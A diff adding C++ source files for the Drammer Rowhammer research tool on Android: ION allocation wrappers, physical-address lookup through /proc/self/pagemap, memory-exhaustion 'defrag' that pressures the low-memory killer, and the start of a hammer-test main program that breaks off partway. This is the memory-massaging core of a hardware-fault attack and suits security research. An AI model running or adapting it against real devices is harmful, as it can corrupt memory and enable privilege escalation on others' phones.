  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +#ifndef __HELPER_H__
  18 +#define __HELPER_H__
  19 +
  20 +#include <assert.h>
  21 +#include <fcntl.h>
  22 +#include <stdlib.h>
  23 +#include <sys/stat.h>
  24 +#include <sys/types.h>
  25 +
  26 +#include <algorithm>
  27 +#include <cmath>
  28 +#include <numeric>
  29 +
  30 +#define G(x) (x << 30)
  31 +#define M(x) (x << 20)
  32 +#define K(x) (x << 10)
  33 +
  34 +#define B_TO_ORDER(x) (ffs(x / 4096)-1)
  35 +#define KB_TO_ORDER(x) (ffs(x / 4)-1)
  36 +#define MB_TO_ORDER(x) (ffs(x * 256)-1)
  37 +
  38 +#define ORDER_TO_B(x) ((1 << x) * 4096)
  39 +#define ORDER_TO_KB(x) ((1 << x) * 4)
  40 +#define ORDER_TO_MB(x) ((1 << x) / 256)
  41 +
  42 +#define MAX_ORDER 10
  43 +
  44 +#define BILLION 1000000000L
  45 +#define MILLION 1000000L
  46 +
  47 +extern FILE *global_of;
  48 +
  49 +static inline uint64_t get_ns(void) {
  50 + struct timespec t;
  51 + clock_gettime(CLOCK_MONOTONIC, &t);
  52 + return BILLION * (uint64_t) t.tv_sec + (uint64_t) t.tv_nsec;
  53 +}
  54 +
  55 +static inline uint64_t get_ms(void) {
  56 + struct timeval tv;
  57 + gettimeofday(&tv, NULL);
  58 + return MILLION * (uint64_t) tv.tv_sec + tv.tv_usec;
  59 +}
  60 +
  61 +static int pagemap_fd = 0;
  62 +static bool got_pagemap = true;
  63 +
  64 +static inline uintptr_t get_phys_addr(uintptr_t virtual_addr) {
  65 + if (!got_pagemap) return 0;
  66 + if (pagemap_fd == 0) {
  67 + pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
  68 + if (pagemap_fd < 0) {
  69 + got_pagemap = false;
  70 + return 0;
  71 + }
  72 + }
  73 + uint64_t value;
  74 + off_t offset = (virtual_addr / PAGESIZE) * sizeof(value);
  75 + int got = pread(pagemap_fd, &value, sizeof(value), offset);
  76 + assert(got == 8);
  77 +
  78 + // Check the "page present" flag.
  79 + if ((value & (1ULL << 63)) == 0) {
  80 + printf("page not present? virtual address: %p | value: %p\n", virtual_addr, value);
  81 + return 0;
  82 + }
  83 +
  84 + uint64_t frame_num = (value & ((1ULL << 54) - 1));
  85 + return (frame_num * PAGESIZE) | (virtual_addr & (PAGESIZE-1));
  86 +}
  87 +
  88 +static inline uint64_t compute_median(std::vector<uint64_t> &v) {
  89 + if (v.size() == 0) return 0;
  90 + std::vector<uint64_t> tmp = v;
  91 + size_t n = tmp.size() / 2;
  92 + std::nth_element(tmp.begin(), tmp.begin()+n, tmp.end());
  93 + return tmp[n];
  94 +}
  95 +
  96 +static inline void print(const char *format, ...) {
  97 + va_list args;
  98 + va_start(args, format);
  99 + vfprintf(stdout, format, args);
  100 + if (global_of != NULL) vfprintf(global_of, format, args);
  101 + va_end(args);
  102 +}
  103 +
  104 +#endif // __HELPER_H__
... ...
exploits/drammer/ion.cc 0 → 100644
  1 +++ a/exploits/drammer/ion.cc
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +#include <assert.h>
  18 +#include <fcntl.h>
  19 +#include <stdint.h>
  20 +#include <stdlib.h>
  21 +#include <stdlib.h>
  22 +#include <sys/ioctl.h>
  23 +#include <sys/mman.h>
  24 +#include <sys/stat.h>
  25 +#include <sys/types.h>
  26 +#include <unistd.h>
  27 +
  28 +#include <fstream>
  29 +#include <iostream>
  30 +#include <map>
  31 +#include <numeric>
  32 +#include <sstream>
  33 +#include <vector>
  34 +
  35 +#include <linux/ion.h>
  36 +
  37 +#include "helper.h"
  38 +#include "ion.h"
  39 +
  40 +int chipset;
  41 +#define CHIPSET_MSM 21
  42 +#define CHIPSET_MEDIATEK 1
  43 +#define CHIPSET_EXYNOS 4
  44 +#define CHIPSET_MAKO 25
  45 +#define CHIPSET_TEGRA 2
  46 +#define CHIPSET_UNIVERSAL 1
  47 +#define CHIPSET_KIRIN 1
  48 +#define CHIPSET_SPREADTRUM 2
  49 +#define CHIPSET_QCT 22
  50 +
  51 +int ion_fd;
  52 +extern int rowsize;
  53 +
  54 +/**********************************************
  55 + * Core ION wrappers
  56 + **********************************************/
  57 +ion_user_handle_t ION_alloc(int len, int heap_id) {
  58 + if (heap_id == -1 && len > M(4)) return 0;
  59 + struct ion_allocation_data allocation_data;
  60 +
  61 + if (heap_id == -1) {
  62 + allocation_data.heap_id_mask = (0x1 << chipset);
  63 + } else {
  64 + allocation_data.heap_id_mask = (0x1 << heap_id);
  65 + }
  66 + allocation_data.flags = 0;
  67 + allocation_data.align = 0;
  68 + allocation_data.len = len;
  69 + int err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data);
  70 + if (err) return 0;
  71 + return allocation_data.handle;
  72 +}
  73 +int ION_share(ion_user_handle_t handle) {
  74 + struct ion_fd_data fd_data;
  75 + fd_data.handle = handle;
  76 + int err = ioctl(ion_fd, ION_IOC_SHARE, &fd_data);
  77 + if (err) return -1;
  78 + return fd_data.fd;
  79 +}
  80 +int ION_free(ion_user_handle_t handle) {
  81 + struct ion_handle_data handle_data;
  82 + handle_data.handle = handle;
  83 + int err = ioctl(ion_fd, ION_IOC_FREE, &handle_data);
  84 + if (err) return -1;
  85 + return 0;
  86 +}
  87 +
  88 +/**********************************************
  89 + * Mmap a struct ion_data
  90 + **********************************************/
  91 +int ION_mmap(struct ion_data *data, int prot, int flags, void *addr) {
  92 + data->fd = ION_share(data->handle);
  93 + if (data->fd < 0) {
  94 + perror("Could not share");
  95 + return -1;
  96 + //exit(EXIT_FAILURE);
  97 + }
  98 +
  99 + if ( prot == -1) prot = PROT_READ | PROT_WRITE;
  100 + if (flags == -1) flags = MAP_SHARED | MAP_POPULATE;
  101 +
  102 + data->mapping = mmap(addr, data->len, prot, flags, data->fd, 0);
  103 + if (data->mapping == MAP_FAILED) {
  104 + perror("Could not mmap");
  105 + exit(EXIT_FAILURE);
  106 + }
  107 +
  108 + return 0;
  109 +}
  110 +
  111 +/**********************************************
  112 + * Free a struct ion_data
  113 + **********************************************/
  114 +void ION_clean(struct ion_data *data) {
  115 + if (data->mapping) {
  116 + if (munmap(data->mapping, data->len)) {
  117 + perror("Could not munmap");
  118 + exit(EXIT_FAILURE);
  119 + }
  120 + data->mapping = NULL;
  121 +
  122 + if (close(data->fd)) {
  123 + perror("Could not close");
  124 + exit(EXIT_FAILURE);
  125 + }
  126 + }
  127 +
  128 + if (data->handle) {
  129 + if (ION_free(data->handle)) {
  130 + perror("Could not free");
  131 + exit(EXIT_FAILURE);
  132 + }
  133 + data->handle = 0;
  134 + }
  135 +}
  136 +
  137 +/**********************************************
  138 + * Allocate ION chunks in bulk
  139 + **********************************************/
  140 +
  141 +/* Our java app will send a SIGUSR1 signal if the system is low on memory. This
  142 + * probably requires a bit more debugging... */
  143 +
  144 +bool lowmem;
  145 +void lowmem_handler(int signal) {
  146 + print("LOW MEMORY!\n");
  147 + lowmem = true;
  148 +}
  149 +
  150 +int ION_bulk(int len, std::vector<struct ion_data *> &chunks, int max, bool mmap) {
  151 + lowmem = false;
  152 + signal(SIGUSR1, lowmem_handler);
  153 +
  154 + int count = 0;
  155 + while (true) {
  156 + struct ion_data *data = new ion_data;
  157 + if (data == NULL) {
  158 + perror("Could not malloc");
  159 + exit(EXIT_FAILURE);
  160 + }
  161 +
  162 + data->handle = ION_alloc(len);
  163 + if (data->handle == 0) {
  164 + /* Could not allocate, probably exhausted the ion chunks */
  165 + free(data);
  166 + break;
  167 + }
  168 + data->len = len;
  169 +
  170 + if (mmap) {
  171 + int ret = ION_mmap(data);
  172 + if (ret < 0) {
  173 + break;
  174 + }
  175 + } else {
  176 + data->mapping = NULL;
  177 + }
  178 +
  179 + data->hammerable_rows.clear();
  180 +
  181 + chunks.push_back(data);
  182 + count++;
  183 + if (max > 0 && count >= max) break;
  184 +
  185 + if (lowmem) break;
  186 + }
  187 + return count;
  188 +}
  189 +
  190 +/**********************************************
  191 + * Clean a vector of struct ion_data
  192 + **********************************************/
  193 +void ION_clean_all(std::vector<struct ion_data *> &chunks, int max) {
  194 + if (!max) max = chunks.size();
  195 + for (int i = 0; i < max; i++) {
  196 + ION_clean(chunks[i]);
  197 + delete(chunks[i]);
  198 + }
  199 + chunks.erase(chunks.begin(), chunks.begin() + max); // remove first <max> elements
  200 +}
  201 +
  202 +/**********************************************
  203 + * Populate a vector of virtual address that we can hammer
  204 + **********************************************/
  205 +void ION_get_hammerable_rows(struct ion_data * chunk) {
  206 + if (chunk->len < (3*rowsize)) return;
  207 + if (chunk->mapping == NULL) return;
  208 + for (int offset = rowsize;
  209 + offset < chunk->len - rowsize;
  210 + offset += rowsize) {
  211 + uintptr_t virt_row = (uintptr_t) chunk->mapping + offset;
  212 + chunk->hammerable_rows.push_back(virt_row);
  213 + }
  214 +}
  215 +
  216 +
  217 +/**********************************************
  218 + * Initialize and finalize /dev/ion
  219 + **********************************************/
  220 +void ION_init(void) {
  221 + // get chipset
  222 + chipset = CHIPSET_MSM;
  223 + std::ifstream cpuinfo("/proc/cpuinfo");
  224 + for (std::string line; getline(cpuinfo, line); ) {
  225 + if (line.find("Qualcomm") != std::string::npos) {
  226 + print("Detected chipset: Qualcomm\n");
  227 + chipset = CHIPSET_MSM;
  228 + break;
  229 + }
  230 + if (line.find("Exynos") != std::string::npos) {
  231 + print("Detected chipset: Exynos\n");
  232 + chipset = CHIPSET_EXYNOS;
  233 + break;
  234 + }
  235 + if (line.find(": 0x53") != std::string::npos) {
  236 + print("Detected chipset: Exynos\n"); // S7, S7 Edge, but probably more :(
  237 + chipset = CHIPSET_EXYNOS;
  238 + break;
  239 + }
  240 + if (line.find(": sc") != std::string::npos) {
  241 + // Hardware : sc8830
  242 + print("Detected chipset: Spreadtrum\n");
  243 + chipset = CHIPSET_SPREADTRUM;
  244 + break;
  245 + }
  246 + if (line.find("EXYNOS") != std::string::npos) {
  247 + // Samsung EXYNOS5433
  248 + print("Detected chipset: Exynos\n");
  249 + chipset = CHIPSET_EXYNOS;
  250 + break;
  251 + }
  252 + if (line.find("UNIVERSAL") != std::string::npos) {
  253 + print("Detected chipset: UNIVERSAL\n");
  254 + chipset = CHIPSET_UNIVERSAL;
  255 + break;
  256 + }
  257 + if (line.find("MAKO") != std::string::npos) {
  258 + print("Detected chipset: Mako\n");
  259 + chipset = CHIPSET_MAKO;
  260 + break;
  261 + }
  262 + if (line.find("Flounder") != std::string::npos) {
  263 + print("Detected chipset: Tegra\n");
  264 + chipset = CHIPSET_TEGRA;
  265 + break;
  266 + }
  267 + if (line.find(": MT") != std::string::npos) {
  268 + print("Detected chipset: Mediatek\n");
  269 + chipset = CHIPSET_MEDIATEK;
  270 + break;
  271 + }
  272 + if (line.find(": hi") != std::string::npos) {
  273 + print("Detected chipset Kirin\n");
  274 + chipset = CHIPSET_KIRIN;
  275 + break;
  276 + }
  277 + if (line.find("Kirin") != std::string::npos) {
  278 + print("Detected chipset Kirin\n");
  279 + chipset = CHIPSET_KIRIN;
  280 + break;
  281 + }
  282 + if (line.find("MSM8627") != std::string::npos) {
  283 + print("Detected cihpset MSM8627\n");
  284 + chipset = CHIPSET_QCT;
  285 + }
  286 + }
  287 +
  288 + ion_fd = open("/dev/ion", O_RDONLY);
  289 + if (!ion_fd) {
  290 + perror("Could not open ion");
  291 + exit(EXIT_FAILURE);
  292 + }
  293 +
  294 + int err;
  295 + sigset_t sigset;
  296 +
  297 + err = sigfillset(&sigset);
  298 + if (err != 0) perror("sigfillset");
  299 +
  300 + err = sigprocmask(SIG_UNBLOCK, &sigset, NULL);
  301 + if (err != 0) perror("sigprocmask");
  302 +
  303 + setvbuf(stdout, NULL, _IONBF, 0);
  304 +}
  305 +void ION_fini(void) {
  306 + close(ion_fd);
  307 +}
  308 +
  309 +
  310 +
  311 +
  312 +void ION_detector(void) {
  313 + for (int i = 0; i < 32; i++) {
  314 + uint32_t mask = 0x1 << i;
  315 + printf("Trying to allocate 4KB with heap id: %2d | mask: %8x ", i, mask);
  316 +
  317 + struct ion_handle_data handle_data;
  318 + struct ion_allocation_data allocation_data;
  319 + allocation_data.flags = 0;
  320 + allocation_data.align = 0;
  321 + allocation_data.len = K(4);
  322 + allocation_data.heap_id_mask = mask;
  323 + int err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data);
  324 + if (err) {
  325 + printf(" -> nope (%s)\n", strerror(errno));
  326 + continue;
  327 + }
  328 + printf(" -> ok!\n");
  329 + handle_data.handle = allocation_data.handle;
  330 + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data);
  331 + if (err) {
  332 + printf(" -> could not free (%s)\n", strerror(errno));
  333 + continue;
  334 + }
  335 +
  336 + printf("...... to allocate 4MB with heap id: %2d | mask: %8x ", i, mask);
  337 + allocation_data.len = M(4);
  338 + err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data);
  339 + if (err) {
  340 + printf(" -> nope (%s)\n", strerror(errno));
  341 + continue;
  342 + }
  343 + printf(" -> ok!\n");
  344 + handle_data.handle = allocation_data.handle;
  345 + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data);
  346 + if (err) {
  347 + printf(" -> could not free (%s)\n", strerror(errno));
  348 + continue;
  349 + }
  350 +
  351 + printf("...... to allocate 16MB with heap id: %2d | mask: %8x ", i, mask);
  352 + allocation_data.len = M(16);
  353 + err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data);
  354 + if (err) {
  355 + printf(" -> nope (%s)\n", strerror(errno));
  356 + continue;
  357 + }
  358 + printf(" -> ok!\n");
  359 + handle_data.handle = allocation_data.handle;
  360 + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data);
  361 + if (err) {
  362 + printf(" -> could not free (%s)\n", strerror(errno));
  363 + continue;
  364 + }
  365 + }
  366 +}
... ...
exploits/drammer/ion.h 0 → 100644
  1 +++ a/exploits/drammer/ion.h
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +
  18 +#ifndef __ION_H__
  19 +#define __ION_H__
  20 +
  21 +#include <map>
  22 +#include <numeric>
  23 +#include <set>
  24 +#include <vector>
  25 +
  26 +#include <linux/ion.h>
  27 +#include <strings.h>
  28 +
  29 +
  30 +struct ion_data {
  31 + ion_user_handle_t handle;
  32 + int fd, len;
  33 + void *mapping = NULL;
  34 +
  35 + std::vector<uintptr_t> hammerable_rows;
  36 +};
  37 +
  38 +
  39 +
  40 +ion_user_handle_t ION_alloc(int len, int heap_id = -1);
  41 +int ION_share(ion_user_handle_t handle);
  42 +int ION_free (ion_user_handle_t handle);
  43 +
  44 +int ION_mmap (struct ion_data *data, int prot = -1, int flags = -1, void *addr = NULL);
  45 +void ION_clean(struct ion_data *data);
  46 +int ION_bulk(int len, std::vector<struct ion_data *> &chunks, int max = 0, bool mmap = true);
  47 +void ION_clean_all( std::vector<struct ion_data *> &chunks, int max = 0);
  48 +void ION_get_hammerable_rows(struct ion_data *chunk);
  49 +
  50 +void ION_detector(void);
  51 +void ION_init(void);
  52 +void ION_fini(void);
  53 +
  54 +#endif
... ...
exploits/drammer/massage.cc 0 → 100644
  1 +++ a/exploits/drammer/massage.cc
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +#include <algorithm>
  18 +#include <fstream>
  19 +#include <iostream>
  20 +#include <set>
  21 +
  22 +#include <assert.h>
  23 +#include <fcntl.h>
  24 +#include <stdint.h>
  25 +#include <stdio.h>
  26 +#include <stdlib.h>
  27 +#include <string>
  28 +#include <sys/ioctl.h>
  29 +#include <sys/mman.h>
  30 +#include <sys/stat.h>
  31 +#include <sys/types.h>
  32 +#include <unistd.h>
  33 +
  34 +#include "helper.h"
  35 +#include "ion.h"
  36 +#include "massage.h"
  37 +#include "rowsize.h"
  38 +#include "templating.h"
  39 +
  40 +extern bool lowmem;
  41 +
  42 +bool alloc_timeout;
  43 +void alloc_alarm(int signal) {
  44 + printf("Allocation timeout\n");
  45 + alloc_timeout = true;
  46 +}
  47 +
  48 +std::ifstream meminfo("/proc/meminfo");
  49 +size_t read_meminfo(std::string type) {
  50 + meminfo.clear();
  51 + meminfo.seekg(0, std::ios::beg);
  52 + for (std::string line; getline(meminfo, line); ) {
  53 + if (line.find(type) != std::string::npos) {
  54 + std::string kb = line.substr( line.find(':') + 1, line.length() - type.length() - 3 );
  55 + return std::atoi(kb.c_str());
  56 + }
  57 + }
  58 + return 0;
  59 +}
  60 +size_t get_LowFree(void) { return read_meminfo("LowFree"); }
  61 +
  62 +int exhaust(std::vector<struct ion_data *> &chunks, int min_bytes, bool mmap) {
  63 + int total_kb;
  64 +
  65 + total_kb = 0;
  66 + for (int order = MAX_ORDER; order >= B_TO_ORDER(min_bytes); order--) {
  67 + int count = ION_bulk(ORDER_TO_B(order), chunks, 0, mmap);
  68 + print("[EXHAUST] - order %2d (%4d KB) - got %3d chunks\n",
  69 + order, ORDER_TO_KB(order), count);
  70 + total_kb += ORDER_TO_KB(order) * count;
  71 +
  72 + if (lowmem) break;
  73 + }
  74 + print("[EXHAUST] allocated %d KB (%d MB)\n", total_kb, total_kb / 1024);
  75 +
  76 + return total_kb;
  77 +}
  78 +
  79 +
  80 +
  81 +
  82 +/* stop defrag when it has been working for more than ALLOC_TIMEOUT seconds */
  83 +#define ALLOC_TIMEOUT 10
  84 +
  85 +/* stop defrag when the system has less than MIN_LOWFREE KB low memory left */
  86 +#define MIN_LOWFREE 4 * 1024
  87 +
  88 +/* stop defrag when none of the last <INTERVAL> allocations yield more than MIN_COUNT blocks */
  89 +#define INTERVAL 10
  90 +#define MIN_COUNT 10
  91 +
  92 +/* The goal of defrag() is to trick the system into reserving more 'ION memory'
  93 + * that we can allocate when we start templating. We do this by exhausting all
  94 + * 4K ION chunks, resulting in the low memory killer killing background
  95 + * processes and moving cached memory into a pool that can be used for ION
  96 + * allocations.
  97 + *
  98 + * We first exhaust all contiguous chunks of size 64KB and up, to ensure that
  99 + * background processes are already forced to use smaller contiguous memory
  100 + * chunks (up to 32KB). Since we cannot simply exhaust *all* 4KB chunks (we
  101 + * would go completely out of memory), we then allocate chunks until:
  102 + * - a timeout occurs (after ALLOC_TIMEOUT seconds); or
  103 + * - the system has little free low memory left (MIN_LOWFREE KB); or
  104 + * - we did not get many new blocks during the last x seconds (INTERAL /
  105 + * MINCOUNT)
  106 + */
  107 +void defrag(int alloc_timer) {
  108 + std::vector<struct ion_data *> defrag_chunks;
  109 +
  110 + time_t start_time = 0;
  111 + time_t prev_time = 0;
  112 + int count = 0;
  113 + int prev_count = 0;
  114 + int alloc_count[INTERVAL];
  115 + for (int i = 0; i < INTERVAL; i++) alloc_count[i] = MIN_COUNT + 1;
  116 + int alloc_count_index = 0;
  117 + int len = K(4);
  118 +
  119 + exhaust(defrag_chunks, K(64), false);
  120 +
  121 + if (lowmem) goto bail;
  122 +
  123 + alloc_timeout = false;
  124 + signal(SIGALRM, alloc_alarm);
  125 + alarm(alloc_timer);
  126 +
  127 + start_time = time(NULL);
  128 +
  129 + while (true) {
  130 + struct ion_data *data = new ion_data;
  131 + if (data == NULL) {
  132 + perror("Could not allocate memory");
  133 + exit(EXIT_FAILURE);
  134 + }
  135 + data->handle = ION_alloc(len);
  136 + if (data->handle == 0) {
  137 + printf("Exhausted *all* memory?\n");
  138 + break;
  139 +// exit(EXIT_FAILURE);
  140 + }
  141 + data->len = len;
  142 + data->mapping = NULL;
  143 + count++;
  144 +
  145 + time_t curr_time = time(NULL);
  146 + if (curr_time != prev_time) {
  147 + int lowfree = get_LowFree();
  148 + int timerunning = (curr_time - start_time);
  149 + int timeleft = alloc_timer - timerunning;
  150 +
  151 + alloc_count[alloc_count_index] = (count - prev_count);
  152 + alloc_count_index = (alloc_count_index + 1) % 10;
  153 + bool progress = false;
  154 + print("[DEFRAG] Blocks allocated last %d intervals: ", 10);
  155 + for (int i = 9; i >= 0; i--) {
  156 + printf("%5d ", alloc_count[(alloc_count_index + i) % 10]);
  157 + if (alloc_count[i] > MIN_COUNT)
  158 + progress = true;
  159 + }
  160 + print(" | time left: %3d | low free: %8d KB | blocks: %8d\n",
  161 + timeleft, lowfree, count);
  162 +
  163 + if (!progress) {
  164 + print("[DEFRAG] Not enough progress\n");
  165 + break;
  166 + }
  167 +
  168 + // some devices do not report LowFree in /proc/meminfo
  169 + if (lowfree > 0 && lowfree < MIN_LOWFREE) {
  170 + print("[DEFRAG] Not enough low memory\n");
  171 + break;
  172 + }
  173 +
  174 + if (alloc_timeout) {
  175 + print("[DEFRAG] Timeout\n");
  176 + break;
  177 + }
  178 +
  179 + prev_count = count;
  180 + prev_time = curr_time;
  181 + }
  182 + defrag_chunks.push_back(data);
  183 + }
  184 +
  185 + print("[DEFRAG] Additionally got %d chunks of size %d KB (%d bytes in total = %d MB)\n",
  186 + count, len, count * len, count * len / 1024 / 1024);
  187 +
  188 +bail:
  189 + ION_clean_all(defrag_chunks);
  190 +
  191 + printf("[DEFRAG] Dumping /proc/pagetypeinfo\n");
  192 + std::ifstream pagetypeinfo("/proc/pagetypeinfo");
  193 + pagetypeinfo.clear();
  194 + pagetypeinfo.seekg(0, std::ios::beg);
  195 + for (std::string line; getline(pagetypeinfo, line); ) {
  196 + if (!line.empty()) print("%s\n", line.c_str());
  197 + }
  198 +}
... ...
exploits/drammer/massage.h 0 → 100644
  1 +++ a/exploits/drammer/massage.h
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +
  18 +#ifndef __MASSAGE_H__
  19 +#define __MASSAGE_H__
  20 +
  21 +void defrag(int alloc_timer);
  22 +int exhaust(std::vector<struct ion_data *> &chunks, int min_bytes, bool mmap = true);
  23 +
  24 +#endif
... ...
exploits/drammer/rh-test.cc 0 → 100644
  1 +++ a/exploits/drammer/rh-test.cc
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +#include <algorithm>
  18 +#include <fstream>
  19 +#include <iostream>
  20 +#include <set>
  21 +#include <string>
  22 +
  23 +#include <assert.h>
  24 +#include <fcntl.h>
  25 +#include <stdint.h>
  26 +#include <stdio.h>
  27 +#include <stdlib.h>
  28 +#include <sys/ioctl.h>
  29 +#include <sys/mman.h>
  30 +#include <sys/stat.h>
  31 +#include <sys/types.h>
  32 +#include <unistd.h>
  33 +
  34 +#include "helper.h"
  35 +#include "ion.h"
  36 +#include "massage.h"
  37 +#include "rowsize.h"
  38 +#include "templating.h"
  39 +
  40 +#define HAMMER_READCOUNT 1000000
  41 +
  42 +FILE *global_of = NULL;
  43 +
  44 +extern int rowsize;
  45 +
  46 +
  47 +
  48 +void usage(char *main_program) {
  49 + fprintf(stderr,"Usage: %s [-a] [-c count] [-d seconds] [-f file] [-h] [-i] [-q cpu] [-r rowsize] [-t timer]\n", main_program);
  50 + fprintf(stderr," -a : Run all pattern combinations\n");
  51 + fprintf(stderr," -c count : Number of memory accesses per hammer round (default is %d)\n",HAMMER_READCOUNT);
  52 + fprintf(stderr," -d seconds: Number of seconds to run defrag (default is disabled)\n");
  53 + fprintf(stderr," -f file : Write output to this file\n");
  54 + fprintf(stderr," -h : This help\n");
  55 + fprintf(stderr," -i : Run ion heap type detector\n");
  56 + fprintf(stderr," -q cpu : Pin to this CPU\n");
  57 + fprintf(stderr," -r rowsize: Rowsize of DRAM module in B (autodetect if not specified)\n");
  58 + fprintf(stderr," -s : Hammer more conservative (currently set to hammering every 64 bytes)\n");
  59 + fprintf(stderr," -t timer : Number of seconds to hammer (default is to hammer everything)\n");
  60 +}
  61 +
  62 +void resetter(uint8_t *pattern) {
  63 + for (int i = 0; i < MAX_ROWSIZE; i++) {
  64 + pattern[i] = rand() % 255;
  65 + }
  66 +}
  67 +
  68 +
  69 +int main(int argc, char *argv[]) {
  70 + printf("______ ______ _______ _______ _______ _______ ______ \n");
  71 + printf("| \\ |_____/ |_____| | | | | | | |______ |_____/ \n");
  72 + printf("|_____/ | \\_ | | | | | | | | |______ | \\_\n");
  73 + printf("\n");
  74 +
  75 + int c;
  76 + int timer = 0;
  77 + int alloc_timer = 0;
  78 + char *outputfile = NULL;
  79 + int hammer_readcount = HAMMER_READCOUNT;
  80 + bool heap_type_detector = false;
  81 + bool do_conservative = false;
  82 + bool all_patterns = false;
  83 + int cpu_pinning = -1;
  84 + opterr = 0;
  85 + while ((c = getopt(argc, argv, "sac:d:f:hiq:r:t:")) != -1) {
  86 + switch (c) {
  87 + case 'a':
  88 + all_patterns = true;
  89 + break;
  90 + case 'c':
  91 + hammer_readcount = strtol(optarg, NULL, 10);
  92 + break;
  93 + case 'd':
  94 + alloc_timer = strtol(optarg, NULL, 10);
  95 + break;
  96 + case 'f':
  97 + outputfile = optarg;
  98 + break;
  99 + case 'h':
  100 + usage(argv[0]);
  101 + return 0;
  102 + case 'i':
  103 + heap_type_detector = true;
  104 + break;
  105 + case 'q':
  106 + cpu_pinning = strtol(optarg, NULL, 10);
  107 + break;
  108 + case 'r':
  109 + rowsize = strtol(optarg, NULL, 10);
  110 + break;
  111 + case 's':
  112 + do_conservative = true;
  113 + break;
  114 + case 't':
  115 + timer = strtol(optarg, NULL, 10);
  116 + break;
  117 + case '?':
  118 + if (optopt == 'c' || optopt == 'd' || optopt == 'f' || optopt == 'q' || optopt == 'r' || optopt == 't')
  119 + fprintf(stderr, "Option -%c requires an argument.\n", optopt);
  120 + else if (isprint(optopt))
  121 + fprintf(stderr,"Unknown option `-%c'.\n", optopt);
  122 + else
  123 + fprintf(stderr,"Unknown option character `\\x%x'.\n", optopt);
  124 + usage(argv[0]);
  125 + return 1;
  126 + default:
  127 + abort();
  128 + }
  129 + }
  130 +
  131 +
  132 + printf("[MAIN] ION init\n");
  133 + ION_init();
  134 +
  135 + std::vector<struct ion_data *> ion_chunks;
  136 + std::vector<struct template_t *> templates;
  137 +
  138 + if (outputfile != NULL) {
  139 + global_of = fopen(outputfile, "w");
  140 + if (global_of == NULL) {
  141 + perror("could not open output file");
  142 + exit(0);
  143 + }
  144 + setvbuf(global_of, NULL, _IONBF, 0);
  145 + }
  146 + setvbuf(stderr, NULL, _IONBF, 0);
  147 + setvbuf(stdout, NULL, _IONBF, 0);
  148 +
  149 +
  150 + if (heap_type_detector) {
  151 + ION_detector();
  152 + return 0;
  153 + }
  154 +
  155 + if (cpu_pinning != -1) {
  156 + printf("[MAIN] Pinning to CPU...\n");
  157 + cpu_set_t cpuset;
  158 + CPU_ZERO(&cpuset);
  159 + CPU_SET(cpu_pinning, &cpuset);
  160 + if (sched_setaffinity(0, sizeof(cpuset), &cpuset)) {
  161 + perror("Could not pin CPU");
  162 + }
  163 + }
  164 +
  165 + /*** DEFRAG MEMORY */
  166 + if (alloc_timer) {
  167 + printf("[MAIN] Defragment memory\n");
  168 + defrag(alloc_timer);
  169 + }
  170 +
